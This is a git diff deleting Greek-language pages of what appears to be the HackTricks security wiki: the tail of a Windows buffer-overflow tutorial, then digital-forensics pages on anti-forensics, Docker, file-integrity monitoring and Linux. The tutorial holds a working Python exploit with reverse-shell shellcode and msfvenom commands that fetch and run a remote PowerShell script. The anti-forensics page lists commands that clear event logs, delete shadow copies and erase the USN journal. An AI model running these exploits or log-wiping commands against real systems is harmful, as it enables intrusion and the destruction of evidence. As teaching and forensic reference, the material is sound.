-"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0" -"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" -) -buffer = 'A'*2606 + 'BBBB' + badchars -``` -Οι κακοί χαρακτήρες ξεκινούν από το 0x01 γιατί το 0x00 είναι σχεδόν πάντα κακό. - -Εκτελέστε επανειλημμένα την εκμετάλλευση με αυτό το νέο buffer διαγράφοντας τους χαρακτήρες που αποδεικνύονται άχρηστοι: - -Για παράδειγμα: - -Σε αυτή την περίπτωση μπορείτε να δείτε ότι **δεν πρέπει να χρησιμοποιήσετε τον χαρακτήρα 0x0A** (τίποτα δεν αποθηκεύεται στη μνήμη αφού ο χαρακτήρας είναι 0x09). - -![](<../images/image (33) (1).png>) - -Σε αυτή την περίπτωση μπορείτε να δείτε ότι **ο χαρακτήρας 0x0D αποφεύγεται**: - -![](<../images/image (34) (1).png>) - -## Βρείτε ένα JMP ESP ως διεύθυνση επιστροφής - -Χρησιμοποιώντας: -``` -!mona modules #Get protections, look for all false except last one (Dll of SO) -``` -Θα **καταγράψετε τους χάρτες μνήμης**. Αναζητήστε κάποιο DLL που έχει: - -- **Rebase: False** -- **SafeSEH: False** -- **ASLR: False** -- **NXCompat: False** -- **OS Dll: True** - -![](<../images/image (35) (1).png>) - -Τώρα, μέσα σε αυτή τη μνήμη θα πρέπει να βρείτε μερικά JMP ESP bytes, για να το κάνετε αυτό εκτελέστε: -``` -!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP) -!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case -``` -**Τότε, αν βρεθεί κάποια διεύθυνση, επιλέξτε μία που δεν περιέχει κανένα badchar:** - -![](<../images/image (36) (1).png>) - -**Σε αυτή την περίπτωση, για παράδειγμα: \_0x5f4a358f**\_ - -## Δημιουργία shellcode -``` -msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d' -msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d' -``` -Αν η εκμετάλλευση δεν λειτουργεί αλλά θα έπρεπε (μπορείτε να δείτε με το ImDebg ότι ο κώδικας shell έχει φτάσει), προσπαθήστε να δημιουργήσετε άλλους κώδικες shell (msfvenom με δημιουργία διαφορετικών κωδίκων shell για τις ίδιες παραμέτρους). - -**Προσθέστε μερικά NOPS στην αρχή** του κώδικα shell και χρησιμοποιήστε το και τη διεύθυνση επιστροφής για JMP ESP, και ολοκληρώστε την εκμετάλλευση: -```bash -#!/usr/bin/python - -import socket - -s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) -ip = '10.11.25.153' -port = 110 - -shellcode = ( -"\xb8\x30\x3f\x27\x0c\xdb\xda\xd9\x74\x24\xf4\x5d\x31\xc9\xb1" -"\x52\x31\x45\x12\x83\xed\xfc\x03\x75\x31\xc5\xf9\x89\xa5\x8b" -"\x02\x71\x36\xec\x8b\x94\x07\x2c\xef\xdd\x38\x9c\x7b\xb3\xb4" -"\x57\x29\x27\x4e\x15\xe6\x48\xe7\x90\xd0\x67\xf8\x89\x21\xe6" -"\x7a\xd0\x75\xc8\x43\x1b\x88\x09\x83\x46\x61\x5b\x5c\x0c\xd4" -"\x4b\xe9\x58\xe5\xe0\xa1\x4d\x6d\x15\x71\x6f\x5c\x88\x09\x36" -"\x7e\x2b\xdd\x42\x37\x33\x02\x6e\x81\xc8\xf0\x04\x10\x18\xc9" -"\xe5\xbf\x65\xe5\x17\xc1\xa2\xc2\xc7\xb4\xda\x30\x75\xcf\x19" -"\x4a\xa1\x5a\xb9\xec\x22\xfc\x65\x0c\xe6\x9b\xee\x02\x43\xef" -"\xa8\x06\x52\x3c\xc3\x33\xdf\xc3\x03\xb2\x9b\xe7\x87\x9e\x78" -"\x89\x9e\x7a\x2e\xb6\xc0\x24\x8f\x12\x8b\xc9\xc4\x2e\xd6\x85" -"\x29\x03\xe8\x55\x26\x14\x9b\x67\xe9\x8e\x33\xc4\x62\x09\xc4" -"\x2b\x59\xed\x5a\xd2\x62\x0e\x73\x11\x36\x5e\xeb\xb0\x37\x35" -"\xeb\x3d\xe2\x9a\xbb\x91\x5d\x5b\x6b\x52\x0e\x33\x61\x5d\x71" -"\x23\x8a\xb7\x1a\xce\x71\x50\x2f\x04\x79\x89\x47\x18\x79\xd8" -"\xcb\x95\x9f\xb0\xe3\xf3\x08\x2d\x9d\x59\xc2\xcc\x62\x74\xaf" -"\xcf\xe9\x7b\x50\x81\x19\xf1\x42\x76\xea\x4c\x38\xd1\xf5\x7a" -"\x54\xbd\x64\xe1\xa4\xc8\x94\xbe\xf3\x9d\x6b\xb7\x91\x33\xd5" -"\x61\x87\xc9\x83\x4a\x03\x16\x70\x54\x8a\xdb\xcc\x72\x9c\x25" -"\xcc\x3e\xc8\xf9\x9b\xe8\xa6\xbf\x75\x5b\x10\x16\x29\x35\xf4" -"\xef\x01\x86\x82\xef\x4f\x70\x6a\x41\x26\xc5\x95\x6e\xae\xc1" -"\xee\x92\x4e\x2d\x25\x17\x7e\x64\x67\x3e\x17\x21\xf2\x02\x7a" -"\xd2\x29\x40\x83\x51\xdb\x39\x70\x49\xae\x3c\x3c\xcd\x43\x4d" -"\x2d\xb8\x63\xe2\x4e\xe9" -) - -buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode -try: -print "\nLaunching exploit..." -s.connect((ip, port)) -data = s.recv(1024) -s.send('USER username' +'\r\n') -data = s.recv(1024) -s.send('PASS ' + buffer + '\r\n') -print "\nFinished!." -except: -print "Could not connect to "+ip+":"+port -``` -> [!WARNING] -> Υπάρχουν shellcodes που θα **επικαλύψουν τον εαυτό τους**, επομένως είναι σημαντικό να προσθέτετε πάντα μερικά NOPs πριν από το shellcode - -## Βελτίωση του shellcode - -Προσθέστε αυτές τις παραμέτρους: -``` -EXITFUNC=thread -e x86/shikata_ga_nai -``` -{{#include ../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/README.md b/src/forensics/basic-forensic-methodology/README.md deleted file mode 100644 index 1befeb408..000000000 --- a/src/forensics/basic-forensic-methodology/README.md +++ /dev/null @@ -1,82 +0,0 @@ -# Βασική Εγκληματολογική Μεθοδολογία - -{{#include ../../banners/hacktricks-training.md}} - -## Δημιουργία και Τοποθέτηση μιας Εικόνας - -{{#ref}} -../../generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md -{{#endref}} - -## Ανάλυση Κακόβουλου Λογισμικού - -Αυτό **δεν είναι απαραίτητο το πρώτο βήμα που πρέπει να εκτελέσετε μόλις έχετε την εικόνα**. Αλλά μπορείτε να χρησιμοποιήσετε αυτές τις τεχνικές ανάλυσης κακόβουλου λογισμικού ανεξάρτητα αν έχετε ένα αρχείο, μια εικόνα συστήματος αρχείων, εικόνα μνήμης, pcap... οπότε είναι καλό να **κρατάτε αυτές τις ενέργειες στο μυαλό σας**: - -{{#ref}} -malware-analysis.md -{{#endref}} - -## Επιθεώρηση μιας Εικόνας - -Αν σας δοθεί μια **εγκληματολογική εικόνα** μιας συσκευής μπορείτε να ξεκινήσετε **να αναλύετε τις κατατμήσεις, το σύστημα αρχείων** που χρησιμοποιείται και **να ανακτάτε** δυνητικά **ενδιαφέροντα αρχεία** (ακόμα και διαγραμμένα). Μάθετε πώς στο: - -{{#ref}} -partitions-file-systems-carving/ -{{#endref}} - -Ανάλογα με τα χρησιμοποιούμενα λειτουργικά συστήματα και ακόμα και την πλατφόρμα, θα πρέπει να αναζητηθούν διάφορα ενδιαφέροντα τεκμήρια: - -{{#ref}} -windows-forensics/ -{{#endref}} - -{{#ref}} -linux-forensics.md -{{#endref}} - -{{#ref}} -docker-forensics.md -{{#endref}} - -## Βαθιά επιθεώρηση συγκεκριμένων τύπων αρχείων και Λογισμικού - -Αν έχετε ένα πολύ **ύποπτο** **αρχείο**, τότε **ανάλογα με τον τύπο αρχείου και το λογισμικό** που το δημιούργησε, αρκετές **τεχνικές** μπορεί να είναι χρήσιμες.\ -Διαβάστε την παρακάτω σελίδα για να μάθετε μερικές ενδιαφέρουσες τεχνικές: - -{{#ref}} -specific-software-file-type-tricks/ -{{#endref}} - -Θέλω να κάνω μια ειδική αναφορά στη σελίδα: - -{{#ref}} -specific-software-file-type-tricks/browser-artifacts.md -{{#endref}} - -## Επιθεώρηση Dump Μνήμης - -{{#ref}} -memory-dump-analysis/ -{{#endref}} - -## Επιθεώρηση Pcap - -{{#ref}} -pcap-inspection/ -{{#endref}} - -## **Αντι-Εγκληματολογικές Τεχνικές** - -Λάβετε υπόψη τη δυνατότητα χρήσης αντι-εγκληματολογικών τεχνικών: - -{{#ref}} -anti-forensic-techniques.md -{{#endref}} - -## Κυνήγι Απειλών - -{{#ref}} -file-integrity-monitoring.md -{{#endref}} - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md b/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md deleted file mode 100644 index a20dacff7..000000000 --- a/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md +++ /dev/null @@ -1,153 +0,0 @@ -{{#include ../../banners/hacktricks-training.md}} - - -# Χρονικά Σημεία - -Ένας επιτιθέμενος μπορεί να ενδιαφέρεται για **την αλλαγή των χρονικών σημείων των αρχείων** για να αποφύγει την ανίχνευση.\ -Είναι δυνατόν να βρείτε τα χρονικά σημεία μέσα στο MFT σε χαρακτηριστικά `$STANDARD_INFORMATION`**και**`$FILE_NAME`. - -Και τα δύο χαρακτηριστικά έχουν 4 χρονικά σημεία: **Τροποποίηση**, **πρόσβαση**, **δημιουργία** και **τροποποίηση μητρώου MFT** (MACE ή MACB). - -**Ο εξερευνητής των Windows** και άλλα εργαλεία δείχνουν τις πληροφορίες από **`$STANDARD_INFORMATION`**. - -## TimeStomp - Αντι-Forensic Εργαλείο - -Αυτό το εργαλείο **τροποποιεί** τις πληροφορίες χρονικών σημείων μέσα στο **`$STANDARD_INFORMATION`** **αλλά** **όχι** τις πληροφορίες μέσα στο **`$FILE_NAME`**. Επομένως, είναι δυνατόν να **εντοπιστεί** **ύποπτη** **δραστηριότητα**. - -## Usnjrnl - -Το **USN Journal** (Ημερολόγιο Αριθμού Ακολουθίας Ενημέρωσης) είναι μια δυνατότητα του NTFS (σύστημα αρχείων Windows NT) που παρακολουθεί τις αλλαγές του όγκου. Το [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) εργαλείο επιτρέπει την εξέταση αυτών των αλλαγών. - -![](<../../images/image (449).png>) - -Η προηγούμενη εικόνα είναι η **έξοδος** που εμφανίζεται από το **εργαλείο** όπου μπορεί να παρατηρηθεί ότι κάποιες **αλλαγές πραγματοποιήθηκαν** στο αρχείο. - -## $LogFile - -**Όλες οι αλλαγές μεταδεδομένων σε ένα σύστημα αρχείων καταγράφονται** σε μια διαδικασία γνωστή ως [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging). Τα καταγεγραμμένα μεταδεδομένα διατηρούνται σε ένα αρχείο ονόματι `**$LogFile**`, που βρίσκεται στον ριζικό κατάλογο ενός συστήματος αρχείων NTFS. Εργαλεία όπως το [LogFileParser](https://github.com/jschicht/LogFileParser) μπορούν να χρησιμοποιηθούν για την ανάλυση αυτού του αρχείου και την αναγνώριση αλλαγών. - -![](<../../images/image (450).png>) - -Και πάλι, στην έξοδο του εργαλείου είναι δυνατόν να δούμε ότι **κάποιες αλλαγές πραγματοποιήθηκαν**. - -Χρησιμοποιώντας το ίδιο εργαλείο είναι δυνατόν να εντοπιστεί **σε ποιο χρόνο τροποποιήθηκαν τα χρονικά σημεία**: - -![](<../../images/image (451).png>) - -- CTIME: Χρόνος δημιουργίας αρχείου -- ATIME: Χρόνος τροποποίησης αρχείου -- MTIME: Τροποποίηση μητρώου MFT αρχείου -- RTIME: Χρόνος πρόσβασης αρχείου - -## Σύγκριση `$STANDARD_INFORMATION` και `$FILE_NAME` - -Ένας άλλος τρόπος για να εντοπιστούν ύποπτα τροποποιημένα αρχεία θα ήταν να συγκρίνουμε τον χρόνο και στα δύο χαρακτηριστικά αναζητώντας **ασυμφωνίες**. - -## Νανοδευτερόλεπτα - -**Τα χρονικά σημεία NTFS έχουν μια **ακρίβεια** **100 νανοδευτερολέπτων**. Έτσι, η εύρεση αρχείων με χρονικά σημεία όπως 2010-10-10 10:10:**00.000:0000 είναι πολύ ύποπτη**. - -## SetMace - Αντι-Forensic Εργαλείο - -Αυτό το εργαλείο μπορεί να τροποποιήσει και τα δύο χαρακτηριστικά `$STARNDAR_INFORMATION` και `$FILE_NAME`. Ωστόσο, από τα Windows Vista, είναι απαραίτητο να υπάρχει ένα ζωντανό λειτουργικό σύστημα για να τροποποιήσει αυτές τις πληροφορίες. - -# Απόκρυψη Δεδομένων - -Το NFTS χρησιμοποιεί ένα cluster και το ελάχιστο μέγεθος πληροφορίας. Αυτό σημαίνει ότι αν ένα αρχείο καταλαμβάνει και ένα cluster και μισό, το **υπόλοιπο μισό δεν θα χρησιμοποιηθεί ποτέ** μέχρι να διαγραφεί το αρχείο. Έτσι, είναι δυνατόν να **αποκρυφτούν δεδομένα σε αυτόν τον χώρο slack**. - -Υπάρχουν εργαλεία όπως το slacker που επιτρέπουν την απόκρυψη δεδομένων σε αυτόν τον "κρυφό" χώρο. Ωστόσο, μια ανάλυση του `$logfile` και του `$usnjrnl` μπορεί να δείξει ότι προστέθηκαν κάποια δεδομένα: - -![](<../../images/image (452).png>) - -Έτσι, είναι δυνατόν να ανακτηθεί ο χώρος slack χρησιμοποιώντας εργαλεία όπως το FTK Imager. Σημειώστε ότι αυτός ο τύπος εργαλείου μπορεί να αποθηκεύσει το περιεχόμενο κρυπτογραφημένο ή ακόμα και κρυπτογραφημένο. - -# UsbKill - -Αυτό είναι ένα εργαλείο που θα **κλείσει τον υπολογιστή αν ανιχνευθεί οποιαδήποτε αλλαγή στις θύρες USB**.\ -Ένας τρόπος για να το ανακαλύψετε θα ήταν να ελέγξετε τις τρέχουσες διαδικασίες και **να αναθεωρήσετε κάθε εκτελέσιμο python script**. - -# Ζωντανές Διανομές Linux - -Αυτές οι διανομές **εκτελούνται μέσα στη μνήμη RAM**. Ο μόνος τρόπος για να τις ανιχνεύσετε είναι **σε περίπτωση που το σύστημα αρχείων NTFS είναι προσαρτημένο με δικαιώματα εγγραφής**. Αν είναι προσαρτημένο μόνο με δικαιώματα ανάγνωσης, δεν θα είναι δυνατόν να ανιχνευθεί η εισβολή. - -# Ασφαλής Διαγραφή - -[https://github.com/Claudio-C/awesome-data-sanitization](https://github.com/Claudio-C/awesome-data-sanitization) - -# Ρύθμιση των Windows - -Είναι δυνατόν να απενεργοποιηθούν πολλές μέθοδοι καταγραφής των Windows για να καταστήσουν την εγκληματολογική έρευνα πολύ πιο δύσκολη. - -## Απενεργοποίηση Χρονικών Σημείων - UserAssist - -Αυτό είναι ένα κλειδί μητρώου που διατηρεί ημερομηνίες και ώρες όταν κάθε εκτελέσιμο εκτελείται από τον χρήστη. - -Η απενεργοποίηση του UserAssist απαιτεί δύο βήματα: - -1. Ρυθμίστε δύο κλειδιά μητρώου, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` και `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, και τα δύο στο μηδέν για να δηλώσετε ότι θέλουμε να απενεργοποιηθεί το UserAssist. -2. Καθαρίστε τους υποκαταλόγους του μητρώου σας που μοιάζουν με `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\`. - -## Απενεργοποίηση Χρονικών Σημείων - Prefetch - -Αυτό θα αποθηκεύσει πληροφορίες σχετικά με τις εφαρμογές που εκτελούνται με στόχο τη βελτίωση της απόδοσης του συστήματος Windows. Ωστόσο, αυτό μπορεί επίσης να είναι χρήσιμο για εγκληματολογικές πρακτικές. - -- Εκτελέστε `regedit` -- Επιλέξτε τη διαδρομή αρχείου `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters` -- Κάντε δεξί κλικ και στα δύο `EnablePrefetcher` και `EnableSuperfetch` -- Επιλέξτε Τροποποίηση σε καθένα από αυτά για να αλλάξετε την τιμή από 1 (ή 3) σε 0 -- Επανεκκινήστε - -## Απενεργοποίηση Χρονικών Σημείων - Χρόνος Τελευταίας Πρόσβασης - -Όποτε ένα φάκελος ανοίγεται από έναν όγκο NTFS σε έναν διακομιστή Windows NT, το σύστημα παίρνει τον χρόνο για να **ενημερώσει ένα πεδίο χρονικού σημείου σε κάθε καταγεγραμμένο φάκελο**, που ονομάζεται χρόνος τελευταίας πρόσβασης. Σε έναν πολύ χρησιμοποιούμενο όγκο NTFS, αυτό μπορεί να επηρεάσει την απόδοση. - -1. Ανοίξτε τον Επεξεργαστή Μητρώου (Regedit.exe). -2. Περιηγηθείτε στο `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`. -3. Αναζητήστε το `NtfsDisableLastAccessUpdate`. Αν δεν υπάρχει, προσθέστε αυτό το DWORD και ρυθμίστε την τιμή του σε 1, που θα απενεργοποιήσει τη διαδικασία. -4. Κλείστε τον Επεξεργαστή Μητρώου και επανεκκινήστε τον διακομιστή. - -## Διαγραφή Ιστορικού USB - -Όλες οι **Εγγραφές Συσκευών USB** αποθηκεύονται στο Μητρώο των Windows κάτω από το κλειδί μητρώου **USBSTOR** που περιέχει υποκλειδιά που δημιουργούνται όποτε συνδέετε μια συσκευή USB στον υπολογιστή ή το φορητό σας. Μπορείτε να βρείτε αυτό το κλειδί εδώ H`KEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Διαγράφοντας αυτό** θα διαγράψετε το ιστορικό USB.\ -Μπορείτε επίσης να χρησιμοποιήσετε το εργαλείο [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) για να βεβαιωθείτε ότι τα έχετε διαγράψει (και για να τα διαγράψετε). - -Ένα άλλο αρχείο που αποθηκεύει πληροφορίες σχετικά με τα USB είναι το αρχείο `setupapi.dev.log` μέσα στο `C:\Windows\INF`. Αυτό θα πρέπει επίσης να διαγραφεί. - -## Απενεργοποίηση Αντιγράφων Σκιάς - -**Λίστα** αντιγράφων σκιάς με `vssadmin list shadowstorage`\ -**Διαγράψτε** τα εκτελώντας `vssadmin delete shadow` - -Μπορείτε επίσης να τα διαγράψετε μέσω GUI ακολουθώντας τα βήματα που προτείνονται στο [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html) - -Για να απενεργοποιήσετε τα αντίγραφα σκιάς [βήματα από εδώ](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows): - -1. Ανοίξτε το πρόγραμμα Υπηρεσίες πληκτρολογώντας "services" στο πλαίσιο αναζήτησης κειμένου μετά την κλικ στο κουμπί εκκίνησης των Windows. -2. Από τη λίστα, βρείτε "Volume Shadow Copy", επιλέξτε το και στη συνέχεια αποκτήστε πρόσβαση στις Ιδιότητες κάνοντας δεξί κλικ. -3. Επιλέξτε Απενεργοποιημένο από το αναπτυσσόμενο μενού "Τύπος εκκίνησης" και στη συνέχεια επιβεβαιώστε την αλλαγή κάνοντας κλικ στο Εφαρμογή και OK. - -Είναι επίσης δυνατόν να τροποποιήσετε τη ρύθμιση του ποια αρχεία θα αντιγραφούν στο αντίγραφο σκιάς στο μητρώο `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot` - -## Επικαλύψτε διαγραμμένα αρχεία - -- Μπορείτε να χρησιμοποιήσετε ένα **εργαλείο Windows**: `cipher /w:C` Αυτό θα υποδείξει στον cipher να αφαιρέσει οποιαδήποτε δεδομένα από τον διαθέσιμο μη χρησιμοποιούμενο χώρο δίσκου μέσα στον δίσκο C. -- Μπορείτε επίσης να χρησιμοποιήσετε εργαλεία όπως το [**Eraser**](https://eraser.heidi.ie) - -## Διαγραφή καταγραφών γεγονότων Windows - -- Windows + R --> eventvwr.msc --> Επεκτείνετε "Windows Logs" --> Κάντε δεξί κλικ σε κάθε κατηγορία και επιλέξτε "Clear Log" -- `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"` -- `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }` - -## Απενεργοποίηση καταγραφών γεγονότων Windows - -- `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f` -- Μέσα στην ενότητα υπηρεσιών απενεργοποιήστε την υπηρεσία "Windows Event Log" -- `WEvtUtil.exec clear-log` ή `WEvtUtil.exe cl` - -## Απενεργοποίηση $UsnJrnl - -- `fsutil usn deletejournal /d c:` - - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/docker-forensics.md b/src/forensics/basic-forensic-methodology/docker-forensics.md deleted file mode 100644 index d3149c983..000000000 --- a/src/forensics/basic-forensic-methodology/docker-forensics.md +++ /dev/null @@ -1,96 +0,0 @@ -# Docker Forensics - -{{#include ../../banners/hacktricks-training.md}} - - -## Container modification - -Υπάρχουν υποψίες ότι κάποιο docker container έχει παραβιαστεί: -```bash -docker ps -CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES -cc03e43a052a lamp-wordpress "./run.sh" 2 minutes ago Up 2 minutes 80/tcp wordpress -``` -Μπορείτε εύκολα **να βρείτε τις τροποποιήσεις που έχουν γίνει σε αυτό το κοντέινερ σε σχέση με την εικόνα** με: -```bash -docker diff wordpress -C /var -C /var/lib -C /var/lib/mysql -A /var/lib/mysql/ib_logfile0 -A /var/lib/mysql/ib_logfile1 -A /var/lib/mysql/ibdata1 -A /var/lib/mysql/mysql -A /var/lib/mysql/mysql/time_zone_leap_second.MYI -A /var/lib/mysql/mysql/general_log.CSV -... -``` -Στην προηγούμενη εντολή, το **C** σημαίνει **Αλλαγμένο** και το **A** σημαίνει **Προστιθέμενο**.\ -Αν διαπιστώσετε ότι κάποιο ενδιαφέρον αρχείο όπως το `/etc/shadow` έχει τροποποιηθεί, μπορείτε να το κατεβάσετε από το κοντέινερ για να ελέγξετε για κακόβουλη δραστηριότητα με: -```bash -docker cp wordpress:/etc/shadow. -``` -Μπορείτε επίσης να **το συγκρίνετε με το πρωτότυπο** εκτελώντας ένα νέο κοντέινερ και εξάγοντας το αρχείο από αυτό: -```bash -docker run -d lamp-wordpress -docker cp b5d53e8b468e:/etc/shadow original_shadow #Get the file from the newly created container -diff original_shadow shadow -``` -Αν διαπιστώσετε ότι **κάποιο ύποπτο αρχείο προστέθηκε** μπορείτε να αποκτήσετε πρόσβαση στο κοντέινερ και να το ελέγξετε: -```bash -docker exec -it wordpress bash -``` -## Τροποποιήσεις εικόνας - -Όταν σας δοθεί μια εξαγόμενη εικόνα docker (πιθανώς σε μορφή `.tar`), μπορείτε να χρησιμοποιήσετε [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases) για να **εξαγάγετε μια περίληψη των τροποποιήσεων**: -```bash -docker save > image.tar #Export the image to a .tar file -container-diff analyze -t sizelayer image.tar -container-diff analyze -t history image.tar -container-diff analyze -t metadata image.tar -``` -Στη συνέχεια, μπορείτε να **αποσυμπιέσετε** την εικόνα και να **πρόσβαση στα blobs** για να αναζητήσετε ύποπτα αρχεία που μπορεί να έχετε βρει στην ιστορία αλλαγών: -```bash -tar -xf image.tar -``` -### Βασική Ανάλυση - -Μπορείτε να αποκτήσετε **βασικές πληροφορίες** από την εικόνα εκτελώντας: -```bash -docker inspect -``` -Μπορείτε επίσης να αποκτήσετε μια περίληψη **ιστορικό αλλαγών** με: -```bash -docker history --no-trunc -``` -Μπορείτε επίσης να δημιουργήσετε ένα **dockerfile από μια εικόνα** με: -```bash -alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage" -dfimage -sV=1.36 madhuakula/k8s-goat-hidden-in-layers> -``` -### Dive - -Για να βρείτε προστιθέμενα/τροποποιημένα αρχεία σε εικόνες docker, μπορείτε επίσης να χρησιμοποιήσετε το [**dive**](https://github.com/wagoodman/dive) (κατεβάστε το από το [**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)) εργαλείο: -```bash -#First you need to load the image in your docker repo -sudo docker load < image.tar 1 ⨯ -Loaded image: flask:latest - -#And then open it with dive: -sudo dive flask:latest -``` -Αυτό σας επιτρέπει να **περιηγηθείτε μέσα από τα διάφορα blobs των εικόνων docker** και να ελέγξετε ποια αρχεία έχουν τροποποιηθεί/προστεθεί. **Κόκκινο** σημαίνει προσθήκη και **κίτρινο** σημαίνει τροποποίηση. Χρησιμοποιήστε **tab** για να μετακινηθείτε στην άλλη προβολή και **space** για να συμπτύξετε/ανοίξετε φακέλους. - -Με το die δεν θα μπορείτε να αποκτήσετε πρόσβαση στο περιεχόμενο των διαφόρων σταδίων της εικόνας. Για να το κάνετε αυτό, θα χρειαστεί να **αποσυμπιέσετε κάθε στρώμα και να αποκτήσετε πρόσβαση σε αυτό**.\ -Μπορείτε να αποσυμπιέσετε όλα τα στρώματα από μια εικόνα από τον κατάλογο όπου αποσυμπιέστηκε η εικόνα εκτελώντας: -```bash -tar -xf image.tar -for d in `find * -maxdepth 0 -type d`; do cd $d; tar -xf ./layer.tar; cd ..; done -``` -## Διαπιστευτήρια από τη μνήμη - -Σημειώστε ότι όταν εκτελείτε ένα docker container μέσα σε έναν host **μπορείτε να δείτε τις διεργασίες που εκτελούνται στο container από τον host** απλά εκτελώντας `ps -ef` - -Επομένως (ως root) μπορείτε να **dump την μνήμη των διεργασιών** από τον host και να αναζητήσετε **διαπιστευτήρια** ακριβώς [**όπως στο παρακάτω παράδειγμα**](../../linux-hardening/privilege-escalation/index.html#process-memory). - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/file-integrity-monitoring.md b/src/forensics/basic-forensic-methodology/file-integrity-monitoring.md deleted file mode 100644 index f9bbb8024..000000000 --- a/src/forensics/basic-forensic-methodology/file-integrity-monitoring.md +++ /dev/null @@ -1,26 +0,0 @@ -{{#include ../../banners/hacktricks-training.md}} - -# Βασική Γραμμή - -Μια βασική γραμμή αποτελείται από τη λήψη μιας στιγμιότυπης εικόνας ορισμένων τμημάτων ενός συστήματος για **να τη συγκρίνουμε με μια μελλοντική κατάσταση ώστε να επισημάνουμε τις αλλαγές**. - -Για παράδειγμα, μπορείτε να υπολογίσετε και να αποθηκεύσετε το hash κάθε αρχείου του συστήματος αρχείων για να μπορέσετε να διαπιστώσετε ποια αρχεία έχουν τροποποιηθεί.\ -Αυτό μπορεί επίσης να γίνει με τους λογαριασμούς χρηστών που έχουν δημιουργηθεί, τις διαδικασίες που εκτελούνται, τις υπηρεσίες που εκτελούνται και οτιδήποτε άλλο δεν θα έπρεπε να αλλάξει πολύ ή καθόλου. - -## Παρακολούθηση Ακεραιότητας Αρχείων - -Η Παρακολούθηση Ακεραιότητας Αρχείων (FIM) είναι μια κρίσιμη τεχνική ασφάλειας που προστατεύει τα IT περιβάλλοντα και τα δεδομένα παρακολουθώντας τις αλλαγές στα αρχεία. Περιλαμβάνει δύο βασικά βήματα: - -1. **Σύγκριση Βασικής Γραμμής:** Καθιερώστε μια βασική γραμμή χρησιμοποιώντας χαρακτηριστικά αρχείων ή κρυπτογραφικούς ελέγχους (όπως MD5 ή SHA-2) για μελλοντικές συγκρίσεις ώστε να ανιχνεύσετε τροποποιήσεις. -2. **Ειδοποίηση Αλλαγών σε Πραγματικό Χρόνο:** Λάβετε άμεσες ειδοποιήσεις όταν τα αρχεία προσπελάζονται ή τροποποιούνται, συνήθως μέσω επεκτάσεων πυρήνα OS. - -## Εργαλεία - -- [https://github.com/topics/file-integrity-monitoring](https://github.com/topics/file-integrity-monitoring) -- [https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software](https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software) - -## Αναφορές - -- [https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it](https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it) - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/linux-forensics.md b/src/forensics/basic-forensic-methodology/linux-forensics.md deleted file mode 100644 index 70eee5ec9..000000000 --- a/src/forensics/basic-forensic-methodology/linux-forensics.md +++ /dev/null @@ -1,370 +0,0 @@ -# Linux Forensics - -{{#include ../../banners/hacktricks-training.md}} - -## Αρχική Συλλογή Πληροφοριών - -### Βασικές Πληροφορίες - -Πρώτα απ' όλα, συνιστάται να έχετε ένα **USB** με **καλά γνωστά δυαδικά αρχεία και βιβλιοθήκες σε αυτό** (μπορείτε απλά να πάρετε το ubuntu και να αντιγράψετε τους φακέλους _/bin_, _/sbin_, _/lib,_ και _/lib64_), στη συνέχεια να τοποθετήσετε το USB και να τροποποιήσετε τις μεταβλητές περιβάλλοντος για να χρησιμοποιήσετε αυτά τα δυαδικά αρχεία: -```bash -export PATH=/mnt/usb/bin:/mnt/usb/sbin -export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64 -``` -Αφού έχετε 